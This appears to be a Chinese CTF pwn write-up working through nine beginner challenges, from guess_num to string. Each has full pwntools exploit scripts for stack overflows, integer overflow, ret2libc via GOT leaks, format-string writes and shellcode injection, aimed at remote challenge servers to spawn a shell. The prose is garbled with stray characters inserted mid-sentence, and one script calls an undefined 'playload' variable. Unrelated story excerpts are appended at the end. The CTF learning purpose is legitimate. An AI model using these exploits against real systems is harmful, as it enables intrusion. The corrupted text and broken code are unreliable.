Pwn-Exercise area

1.guess_num

用checksec查看文件屬性:

用64位的IDA打開:

因為gets()函數(shù)不受輸入限制可能會覆寫掉棧中的返回地址裳仆,造成緩沖區(qū)溢出上枕,因此在這利用gets函數(shù)
進(jìn)入main函數(shù)的棸羝欤空間:

可見var_30(也就是v7)占0x30個字節(jié),并且當(dāng)var_30溢出時可覆蓋seed唱蒸。

關(guān)于隨機數(shù)的產(chǎn)生:http://c.biancheng.net/view/2043.html

在這里我們需要知道敷矫,rand()函數(shù)根據(jù)種子即seed產(chǎn)生隨機數(shù),當(dāng)種子相同時低矮,獲得的隨機數(shù)也相同印叁。對于該題目,我們將隨機種子設(shè)置為0或1都可军掂,參考文件中的循環(huán)來寫腳本轮蜕。

關(guān)于ldd命令:https://www.cnblogs.com/wanghetao/p/3779611.html

ldd命令用于判斷某個可執(zhí)行的 binary 檔案含有什么動態(tài)函式庫,本題使用方法:
ldd guess_num

關(guān)于ctypes:https://blog.csdn.net/mfq1219/article/details/81945448

ctypes是Python的一個外部庫蝗锥,提供和C語言兼容的數(shù)據(jù)類型跃洛,可以很方便地調(diào)用DLL中輸出的C接口函數(shù)
加載dll和取出函數(shù):

from ctypes import *   
dll = cdll.LoadLibrary(dllpath)   #dllpath是字符串
exp:
from pwn import *
from ctypes import *

payload = 'a' * 0x20 + p64(1)
io = remote('111.198.29.45',57873)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
io.recvuntil('Your name:')
io.sendline(playload)
libc.srand(1)
for i in range(10):
    num = str(libc.rand()%6 + 1)
    io.recvuntil('number:')
    io.sendline(num)
io.interactive()

參考:http://www.reibang.com/p/0bc6c65addfd

2.int_overflow

用checksec查看文件屬性:

沒有開啟Canary(棧保護(hù)),可以利用棧溢出漏洞
用32位的IDA打開终议,F(xiàn)5查看源碼:
進(jìn)入主函數(shù)

通過代碼汇竭,容易分析出程序執(zhí)行過程葱蝗,再進(jìn)入login()函數(shù)

可見通過read()函數(shù)可輸入一個長度為0x199的buf(即password),再進(jìn)入check_passwd()函數(shù)

此時定義了一個無符號的整型v3來存儲password的長度细燎,v3為一個字節(jié)两曼,即8bit。但0x199的二進(jìn)制位數(shù)明顯超過了8位玻驻,故在這里可能存在整數(shù)溢出

關(guān)于整數(shù)溢出:整型變量有規(guī)定的有效數(shù)據(jù)長度悼凑,當(dāng)它的數(shù)據(jù)長度超過其有效數(shù)據(jù)長度時,超過的部分就產(chǎn)生溢出璧瞬,溢出的部分則直接忽略户辫。

常見各類整型占用字節(jié)數(shù)及取值范圍:

C語言中各個數(shù)據(jù)類型所能表示的數(shù)都是有一定的取值范圍的,一旦要表示的數(shù)超出了該數(shù)據(jù)類型的取值范圍嗤锉,就會從起點開始重新計數(shù)

在本題中渔欢,程序規(guī)定輸入的password長度必須在3~8之間,否者視為無效輸入瘟忱。但由整型溢出原理可知膘茎,我們輸入的password長度如果在259~264之間也可通過if語句,因為:

超過8位的數(shù)據(jù)將被忽略酷誓,即將259賦值給v3時披坏,v3的值為3
通過if語句之后,會將password拷貝給dest盐数,進(jìn)入dest的棸舴鳎空間

dest的大小為0x14,當(dāng)password的大小超過0x14后皆可覆蓋后面的ebp和返回地址玫氢,又發(fā)現(xiàn)Functions Window里一個特殊的函數(shù)

所以可將strcpy()的返回地址覆蓋為what_is_this()函數(shù)的返回地址帚屉,即可得到flag
這里我們password的長度就選取262(259~264之間任意一個數(shù)都可以)
dest的長度為0x14,ebp占4個字節(jié)漾峡,what_is_this()函數(shù)的返回地址占四個字節(jié)攻旦,故剩余字節(jié)數(shù)為:262-0x14-4-4=234

exp
from pwn import *

elf = ELF('./int_overflow')

io = remote('111.198.29.45',48464)

#io.recvuntil("Your choice:")

#io.sendline("1")

io.sendlineafter("Your choice:","1")

io.sendlineafter("username:","yh")

cat_flag_addr = elf.symbols['what_is_this']

#cat_flag_addr = 0x08048694

payload = 'a' * 0x14 + 'aaaa' + p32(cat_flag_addr) + 234 * 'a'

io.sendlineafter("passwd:",payload)

io.interactive()

參考:
http://www.sohu.com/a/340938352_120054144
https://www.52pojie.cn/thread-1032448-1-1.html

3.when_did_you_born

用checksec查看文件屬性:

開啟了Canary,則無法用覆蓋返回地址的方法了
用64位的IDA打開

程序要求我們分別輸入生日和姓名生逸,并且生日不能為1926牢屋,但在我們輸入姓名之后,如果生日為1926才會輸出flag槽袄,這就與前面的要求矛盾了
進(jìn)入main()函數(shù)的椑游蓿空間看一看

可見我們可以通過var_20數(shù)據(jù)的溢出來覆蓋var_18的值,這樣我們輸入名字的時候就可以重新修改生日為1926遍尺,通過下面的if語句輸出flag了截酷。由椙罚空間變量的分布可知var_20占8個字節(jié)迂苛,超過這個長度即可以覆蓋var_18的值了
并且在名字輸入時三热,采用的函數(shù)為gets(),可以進(jìn)行溢出

注:gets()不檢查字符串string的大小三幻,必須遇到換行符或文件結(jié)尾才會結(jié)束輸入康铭,因此容易造成緩存溢出的安全性問題,導(dǎo)致程序崩潰赌髓,可以使用fgets()代替。
exp:
from pwn import *

io = remote("111.198.29.45",46596)

io.recvuntil("What's Your Birth?")

io.sendline("2000.1.1")

io.recvuntil("What's Your Name?")

payload = 'a' * 8 + p64(1926)

io.sendline(payload)

io.interactive()

4.cgpwn2

用checksec查看文件屬性:

運行一下:


使用32位的IDA打開催跪,F(xiàn)5反匯編結(jié)果如下:

進(jìn)入hello()函數(shù)锁蠕,前面一大段代碼似乎沒有什么作用,看最后幾句:

gets()函數(shù)可能造成溢出懊蒸,并且查看到這個程序有system函數(shù)

則可以利用gets函數(shù)溢出覆蓋修改返回地址為system函數(shù)的地址荣倾,但是這個system還缺參數(shù)"/bin/sh",因此需要我們自己傳入這個參數(shù)

雙擊這里的name進(jìn)入IDA View-A窗口骑丸,可以發(fā)現(xiàn)name是儲存在bbs段中的全局變量舌仍,那我就可以將"/bin/sh"寫入name中,將name的地址作為system的參數(shù)傳入
進(jìn)入hello函數(shù)棧空間逆害,可發(fā)現(xiàn)s占26個字節(jié)纯陨,則還需4個字節(jié)覆蓋ebp

構(gòu)造的覆蓋數(shù)據(jù)組成為:變量s所占字節(jié)+ebp+system函數(shù)地址+system函數(shù)返回地址+"/bin/sh"參數(shù)地址
exp:

from pwn import * 
io = remote("111.198.29.45",56568)
#io = process("./cgpwn2")
elf = ELF('./cgpwn2')
bin_sh_addr = 0x0804A080
sys_addr = elf.symbols['system']
io.recvuntil("your name")
io.sendline("/bin/sh")
io.recvuntil("here:")
payload = 'a' * (0x26 + 0x4) + p32(sys_addr) + 'a' * 4 + p32(bin_sh_addr)
io.sendline(payload)
io.interactive()

5.hello_pwn

用checksec查看文件屬性并運行一下:

再使用64位的IDA打開胧弛,F(xiàn)5反匯編查看偽代碼

進(jìn)入if語句里的函數(shù)看看:

可見茵宪,只要dword_60106C == 1853186401這個條件成立篇裁,即可得到flag
進(jìn)入IDA View-A 發(fā)現(xiàn)dword_60106C與unk_601068相隔4個字節(jié),則構(gòu)造這樣的unk_601068:'a'*4+1853186401,即可將dword_60106C覆蓋為1853186401

exp:
from pwn import *
r = remote('111.198.29.45',49875)
playload = 'a'*4 + p64(1853186401)
r.recvuntil("lets get helloworld for bof")
r.sendline(playload)
r.interactive()

6.leve2

用checksec查看文件屬性并運行一下:

使用32位的IDA打開,F(xiàn)5反匯編main函數(shù):

進(jìn)入vnlnerable_function()看看:

再使用Shift+F12查看字符串窗口,也看見"/bin/sh",解題思路如下:
通過read()函數(shù)讀入數(shù)據(jù),構(gòu)造一個system("/bin/sh")的偽棧幀指攒,vulnerable_function()執(zhí)行結(jié)束后返回到我們構(gòu)造的偽棧幀去執(zhí)行system("bin/sh"),這樣就可以獲取shell。

exp:
from pwn import *

context.log_level = "debug"

elf = ELF('./level2')

sys_addr = elf.symbols['system'] 

sh_addr = elf.search('/bin/sh').next()

playload = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0)+ p32(sh_addr)

io = remote('111.198.29.45',35505)

io.sendline(playload)

io.interactive()

7.leve3

用checksec查看文件屬性并運行一下:

用32位的IDA打開姚淆,F(xiàn)5反匯編main()函數(shù)查看偽代碼

進(jìn)入vnlnerable_function()函數(shù)中

存在read()函數(shù)媒惕,可以進(jìn)行溢出絮蒿,但是查看函數(shù)窗口和字符串窗口但壮,既無system函數(shù)也無/bin/sh字符串


但是存在可以溢出的read函數(shù)與write()函數(shù)溯祸,可以用來泄露出system函數(shù)與/bin/sh字符串的地址

關(guān)于write()函數(shù):

因為libc中的函數(shù)的相對地址是固定的,并且在知道libc的版本后各個函數(shù)在其中的相對位置就可以得到惠险。
則需要泄露出write()函數(shù)的相對地址再減去write()函數(shù)在libc中的偏移量即可得到libc的基地址十兢,得到了libc的基地址,再加上system()函數(shù)和"/bin/sh"字符串在libc中的偏移量即可得到它們在的相對位置(在程序中調(diào)用使用的是相對位置)

關(guān)于GOT表和PLT表:http://www.reibang.com/p/f9189b8bf183

exp

1.利用LibcSearcher

#-*-coding:utf-8-*-
from pwn import *
from LibcSearcher import LibcSearcher
import pwnlib

context.terminal = ['gnome-terminal','-x','sh','-c']
sh = remote('111.198.29.45',53647)
elf = ELF('./level3')

write_plt = elf.plt['write'] #獲取plt表中write的地址
write_got = elf.got['write'] #獲取got表中write的地址
vuln = 0x0804844B
print "write_plt = ",hex(write_plt) #分別將plt表中write的地址和vnlnerable()函數(shù)的地址打印出來
print "vuln = ",hex(vuln)

print "leak write_addr and return to vnlnerable function again"
payload = ''
payload += 140 * 'a' #覆蓋read中的buf和ebp
payload += p32(write_plt) #plt表中write的地址填入read()函數(shù)的返回地址
payload += p32(vuln) #將vnlnerable()函數(shù)的地址作為write()函數(shù)的返回地址
payload += p32(1) + p32(write_got) + p32(4) #作為write函數(shù)的參數(shù),用于泄露write函數(shù)的地址

sh.sendlineafter(':\n',payload)

print "get the related address"
write_addr = u32(sh.recv(4))
print "write_addr = ",hex(write_addr)
libc = LibcSearcher('write',write_addr) #根據(jù)泄露的地址汞窗,尋找到對應(yīng)的libc版本
libcbase = write_addr - libc.dump('write') #用write函數(shù)的相對地址減去在libc中對應(yīng)的偏移量得到libc的基地址
system_addr = libcbase + libc.dump('system') #用system函數(shù)在libc中的偏移量加上libc的基地址得到system函數(shù)的地址
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "libcbase = ",hex(libcbase)
print "system_addr = ",hex(system_addr)
print "binsh_addr = ",hex(binsh_addr)

payload = ''
payload += 'a' * 140
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(binsh_addr)

sh.sendline(payload)
sh.interactive()

2.直接使用題目給出的libc版本

#-*-coding:utf-8-*-
from pwn import *

sh = remote('111.198.29.45',53647)
elf = ELF('./level3')
libc = ELF('./libc_32.so.6')

write_plt = elf.plt['write']
write_got = elf.got['write']
vuln_addr = elf.symbols['vulnerable_function']

payload = 'a' * 140 + p32(write_plt) + p32(vuln_addr) + p32(1) + p32(write_got) + p32(4)
sh.sendlineafter("Input:\n",payload)

write_got_addr = u32(sh.recv(4))
print 'write_got address is ',hex(write_got_addr)
libc_addr = write_got_addr - libc.symbols['write']
print 'libc_addr is ',hex(libc_addr)
system_addr = libc_addr + libc.symbols['system']
print 'system address is ',hex(system_addr)
binsh_addr = libc_addr + 0x15902B #0x15902b是"/bin/sh"在libc中的地址
# hex(libc.search("/bin/sh").next()) = 0x15902B
print '/bin/sh address is ',hex(binsh_addr)

payload = 'a' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()

參考:https://www.52pojie.cn/thread-1032651-1-1.html

8.CGfsb

用checksec查看文件屬性并運行一下:

使用32位IDA打開仲吏,點擊main()函數(shù)F5查看偽代碼:

可以發(fā)現(xiàn)如果pwnme=8,則可得到flag裹唆,雙擊pwnme,進(jìn)入IDA View-A

發(fā)現(xiàn)pwnme是儲存在bbs段的全局變量红碑,地址為:0804A068舞吭。并且該程序沒有開啟PIE保護(hù),則pwnme的地址不會發(fā)生改變

PIE:全稱是position-independent executable析珊,中文解釋為地址無關(guān)可執(zhí)行文件羡鸥,該技術(shù)是一個針對代碼段(.text)、數(shù)據(jù)段(.data)忠寻、未初始化全局變量段(.bss)等固定地址的一個防護(hù)技術(shù)惧浴,如果程序開啟了PIE保護(hù)的話,在每次加載程序時都變換加載地址奕剃,從而不能通過ROPgadget等一些工具來幫助解題

箭頭處存在字符串格式化漏洞衷旅,可以利用這個來修改pwnme的值

可以發(fā)現(xiàn)s在棧中的偏移量位10

exp

from pwn import *

sh = remote('111.198.29.45',44004)
pwnme_addr = 0x0804A068
sh.sendlineafter('name:','yh')

payload = p32(pwnme_addr) + 'aaaa%10$n'  #p32(pwnme)占4字節(jié),因此還需要4字節(jié)纵朋,才能滿足8個字節(jié)
sh.sendlineafter('please:',payload)
sh.interactive()

幾點補充的知識:
①%x是輸出16進(jìn)制數(shù)據(jù)柿顶,08表示寬度為8,不足8為左邊按0補齊
②%n:將%n之前printf已經(jīng)打印的字符個數(shù)賦值給偏移處指針?biāo)赶虻牡刂肺恢?br> ③%K$n:其中的K表示對第幾個參數(shù)進(jìn)行相應(yīng)操作

參考:http://winny.work/%e4%b8%80%e7%af%87%e6%96%87%e7%ab%a0%e6%90%9e%e6%87%82%e6%a0%bc%e5%bc%8f%e5%8c%96%e5%ad%97%e7%ac%a6%e4%b8%b2%e6%bc%8f%e6%b4%9e/358.html

9.string

shellcode的生成方法:
https://blog.csdn.net/qq_35495684/article/details/79583232

exp:

#encoding=utf-8
from pwn import *

context(arch = 'amd64', os = 'linux') #指明環(huán)境,為生成shellcode做準(zhǔn)備
p = remote('111.198.29.45',32405)
p.recvuntil('secret[0] is ')
v3_addr=int(p.recv(7),16) #提取v4的地址操软,并且轉(zhuǎn)化為16進(jìn)制
#v3_addr=int(p.recvuntil('/n')[:-1],16) [:-1]用于去除末尾的/n

p.sendlineafter("What should your character's name be:","asd")
p.sendlineafter("So, where you will go?east or up?:","east")
p.sendlineafter("go into there(1), or leave(0)?:","1")
p.sendlineafter("'Give me an address'",str(v3_addr))

payload = "%85c%7$n" #format的偏移量為8嘁锯,v2在format前面一位,因此偏移量為7
p.sendlineafter("And, you wish is:",payload)

shellcode = asm(shellcraft.sh())
p.sendlineafter('Wizard: I will help you! USE YOU SPELL',shellcode)
p.interactive()
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市家乘,隨后出現(xiàn)的幾起案子蝗羊,更是在濱河造成了極大的恐慌,老刑警劉巖仁锯,帶你破解...
    沈念sama閱讀 206,311評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件耀找,死亡現(xiàn)場離奇詭異,居然都是意外死亡扑馁,警方通過查閱死者的電腦和手機涯呻,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,339評論 2 382
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來腻要,“玉大人复罐,你說我怎么就攤上這事⌒奂遥” “怎么了效诅?”我有些...
    開封第一講書人閱讀 152,671評論 0 342
  • 文/不壞的土叔 我叫張陵,是天一觀的道長趟济。 經(jīng)常有香客問我乱投,道長,這世上最難降的妖魔是什么顷编? 我笑而不...
    開封第一講書人閱讀 55,252評論 1 279
  • 正文 為了忘掉前任戚炫,我火速辦了婚禮,結(jié)果婚禮上媳纬,老公的妹妹穿的比我還像新娘双肤。我一直安慰自己,他們只是感情好钮惠,可當(dāng)我...
    茶點故事閱讀 64,253評論 5 371
  • 文/花漫 我一把揭開白布茅糜。 她就那樣靜靜地躺著,像睡著了一般素挽。 火紅的嫁衣襯著肌膚如雪蔑赘。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,031評論 1 285
  • 那天预明,我揣著相機與錄音缩赛,去河邊找鬼。 笑死撰糠,一個胖子當(dāng)著我的面吹牛酥馍,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播窗慎,決...
    沈念sama閱讀 38,340評論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼物喷,長吁一口氣:“原來是場噩夢啊……” “哼卤材!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起峦失,我...
    開封第一講書人閱讀 36,973評論 0 259
  • 序言:老撾萬榮一對情侶失蹤扇丛,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后尉辑,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體帆精,經(jīng)...
    沈念sama閱讀 43,466評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 35,937評論 2 323
  • 正文 我和宋清朗相戀三年隧魄,在試婚紗的時候發(fā)現(xiàn)自己被綠了卓练。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,039評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡购啄,死狀恐怖襟企,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情狮含,我是刑警寧澤顽悼,帶...
    沈念sama閱讀 33,701評論 4 323
  • 正文 年R本政府宣布,位于F島的核電站几迄,受9級特大地震影響蔚龙,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜映胁,卻給世界環(huán)境...
    茶點故事閱讀 39,254評論 3 307
  • 文/蒙蒙 一木羹、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧解孙,春花似錦坑填、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,259評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽函匕。三九已至娱据,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間盅惜,已是汗流浹背中剩。 一陣腳步聲響...
    開封第一講書人閱讀 31,485評論 1 262
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留抒寂,地道東北人结啼。 一個月前我還...
    沈念sama閱讀 45,497評論 2 354
  • 正文 我出身青樓,卻偏偏與公主長得像屈芜,于是被迫代替她去往敵國和親郊愧。 傳聞我的和親對象是個殘疾皇子朴译,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 42,786評論 2 345

推薦閱讀更多精彩內(nèi)容

  • 0x01 Start checksec 的時候可以看到程序沒有打開任何的安全保護(hù)措施,然后查看IDA下的匯編代碼属铁,...
    Nevv閱讀 1,669評論 0 2
  • 新手練習(xí) CGfsb 簡單的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv閱讀 3,247評論 0 6
  • 歇了很長一段時間眠寿,終于開始了我的攻防世界pwn之路。立一個flag:每日一題焦蘑,只能多不能少盯拱。 0x00 dice_...
    Adam_0閱讀 7,096評論 2 7
  • 最近在學(xué)蒸米的《一步一步學(xué)ROP之linux_x86篇》,內(nèi)容寫的很詳細(xì)例嘱,個人學(xué)到了很多狡逢,但同時學(xué)的過程中也有很多...
    2mpossible閱讀 1,504評論 0 5
  • 楔子 我姓何,名水清拼卵。是通州何府的大小姐奢浑。我的爹爹何文平是通州的知府。娘親在我很小的時候就去世了腋腮,她是個溫婉的女子...
    扶桑兮若華閱讀 276評論 0 0